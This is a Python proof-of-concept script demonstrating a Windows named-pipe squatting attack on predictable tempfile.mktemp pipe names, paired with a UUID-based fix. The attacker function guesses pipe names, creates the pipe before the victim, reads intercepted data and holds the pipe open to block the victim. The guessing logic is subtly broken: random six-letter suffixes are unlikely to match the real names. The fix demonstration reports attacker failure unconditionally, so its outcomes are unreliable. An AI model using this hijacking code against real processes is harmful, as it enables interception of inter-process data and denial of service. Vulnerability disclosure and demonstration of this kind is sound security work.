import os
import sys
import time
import _winapi
import threading
import itertools
import tempfile
import uuid

# Windows API constant definitions
PIPE_ACCESS_DUPLEX = 0x00000003
FILE_FLAG_OVERLAPPED = 0x40000000
FILE_FLAG_FIRST_PIPE_INSTANCE = 0x00080000
PIPE_TYPE_BYTE = 0x00000000
PIPE_READMODE_BYTE = 0x00000000
PIPE_WAIT = 0x00000000
PIPE_REJECT_REMOTE_CLIENTS = 0x00000008
NMPWAIT_WAIT_FOREVER = 0xFFFFFFFF
OPEN_EXISTING = 3
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
FILE_ATTRIBUTE_NORMAL = 0x80
NULL = 0

def vulnerable_pipe_creation():
    """Simulates the insecure pipe creation method in the original code"""
    _mmap_counter = itertools.count()
    # Pipe name generation from original implementation
    address = tempfile.mktemp(
        prefix=r'\\.\pipe\python-pipe-{:d}-{:d}-'.format(
            os.getpid(), next(_mmap_counter)))
    
    print(f"[VICTIM] Attempting to create pipe: {address}")
    
    # Create pipe
    try:
        # Create named pipe
        h1 = _winapi.CreateNamedPipe(
            address, 
            PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED | FILE_FLAG_FIRST_PIPE_INSTANCE,
            PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT | PIPE_REJECT_REMOTE_CLIENTS,
            1, 8192, 8192, NMPWAIT_WAIT_FOREVER, NULL)
        
        print(f"[VICTIM] Pipe created successfully! Waiting for connection...")
        
        # Create client handle
        h2 = _winapi.CreateFile(
            address, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL, NULL)
        
        # Wait for connection
        _winapi.ConnectNamedPipe(h1, NULL)
        print(f"[VICTIM] Connection established! Writing data...")
        
        # Write data
        data = b"Sensitive data: user credentials"
        written, _ = _winapi.WriteFile(h1, data, len(data), NULL)
        print(f"[VICTIM] Data written to pipe: {written} bytes")
        
        # Cleanup
        _winapi.CloseHandle(h1)
        _winapi.CloseHandle(h2)
        
    except OSError as e:
        print(f"[VICTIM] Pipe operation failed: {e}")

def attacker_thread(pid):
    """Attacker thread - attempts to hijack target pipe"""
    print(f"[ATTACKER] Starting attacker thread, target PID: {pid}")
    
    # Attempt to predict pipe name
    base_name = r'\\.\pipe\python-pipe-{:d}-0-'.format(pid) 
    
    # Try multiple possible random suffixes
    for _ in range(1000):  
        # Generate 6 random characters (simulating tempfile.mktemp behavior)
        random_bytes = os.urandom(6)
        random_suffix = ''.join(chr(ord('a') + (b % 26)) for b in random_bytes)
        pipe_name = base_name + random_suffix
        
        try:
            # Attempt to create pipe (get there first)
            h_pipe = _winapi.CreateNamedPipe(
                pipe_name,
                PIPE_ACCESS_DUPLEX,
                PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT | PIPE_REJECT_REMOTE_CLIENTS,
                1, 8192, 8192, 0, NULL)
            
            # Successfully created pipe - means we beat the target
            print(f"[ATTACKER] Successfully created pipe: {pipe_name}! Waiting for victim connection...")
            
            # Wait for victim to connect
            _winapi.ConnectNamedPipe(h_pipe, NULL)
            print(f"[ATTACKER] Victim has connected! Reading data...")
            
            # Read data sent by victim
            data, bytes_read, _ = _winapi.ReadFile(h_pipe, 4096, NULL)
            print(f"[ATTACKER] Successfully intercepted data: {data[:bytes_read].decode()}")
            
            # Keep pipe open to prevent normal victim usage
            input("[ATTACKER] Press Enter to close pipe and exit...")
            _winapi.CloseHandle(h_pipe)
            return
            
        except OSError as e:
            # Pipe already exists or other error - keep trying
            if e.winerror not in (183, 231):  # ERROR_ALREADY_EXISTS, ERROR_PIPE_BUSY
                print(f"[ATTACKER] Error (winerror={e.winerror}): {e}")
            time.sleep(0.01)  # Shorter wait time
    
    print("[ATTACKER] Failed to hijack any pipe")

def fixed_pipe_creation():
    """Fixed pipe creation method - using UUID"""
    # Secure implementation
    address = r'\\.\pipe\python-pipe-{:d}-{:s}'.format(
        os.getpid(), uuid.uuid4().hex)
    
    print(f"[SECURE] Attempting to create pipe: {address}")
    
    try:
        # Create named pipe
        h1 = _winapi.CreateNamedPipe(
            address, 
            PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED | FILE_FLAG_FIRST_PIPE_INSTANCE,
            PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT | PIPE_REJECT_REMOTE_CLIENTS,
            1, 8192, 8192, NMPWAIT_WAIT_FOREVER, NULL)
        
        print(f"[SECURE] Pipe created successfully! Waiting for connection...")
        
        # Create client handle
        h2 = _winapi.CreateFile(
            address, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL, NULL)
        
        # Wait for connection
        _winapi.ConnectNamedPipe(h1, NULL)
        print(f"[SECURE] Connection established! Writing data...")
        
        # Write data
        data = b"This is secure data"
        written, _ = _winapi.WriteFile(h1, data, len(data), NULL)
        print(f"[SECURE] Data written securely: {written} bytes")
        
        # Cleanup
        _winapi.CloseHandle(h1)
        _winapi.CloseHandle(h2)
        
    except OSError as e:
        print(f"[SECURE] Pipe operation failed: {e}")

def main():
    print("Named Pipe Security Vulnerability Proof of Concept")
    print("=" * 50)
    
    if len(sys.argv) < 2:
        print("Please select a mode:")
        print("1. Demonstrate vulnerability (victim + attacker)")
        print("2. Demonstrate securely fixed implementation")
        choice = input("Enter selection (1 or 2): ")
    else:
        choice = sys.argv[1]
    
    if choice == "1":
        print("\n=== Vulnerability Demonstration Mode ===")
        print("Two threads will be started:")
        print("1. Victim thread - attempts to create named pipe and write sensitive data")
        print("2. Attacker thread - attempts to hijack the victim's pipe\n")
        
        # Start attacker thread
        attacker = threading.Thread(target=attacker_thread, args=(os.getpid(),))
        attacker.daemon = True
        attacker.start()
        
        # Give attacker a moment to start
        time.sleep(0.5)
        
        # Start victim
        vulnerable_pipe_creation()
        
        # Wait for attacker to finish
        attacker.join(timeout=5)
        
    elif choice == "2":
        print("\n=== Secure Fix Demonstration Mode ===")
        print("Using UUID to generate random pipe names, preventing prediction")
        
        # Attempt to start attacker (should fail)
        attacker = threading.Thread(target=attacker_thread, args=(os.getpid(),))
        attacker.daemon = True
        attacker.start()
        
        time.sleep(0.5)
        
        # Create pipe using secure method
        fixed_pipe_creation()
        
        # Wait for attacker to finish (should fail)
        attacker.join(timeout=2)
        print("[SECURE] Attacker failed to hijack the pipe")
    
    print("\nDemonstration complete")

if __name__ == "__main__":
    main()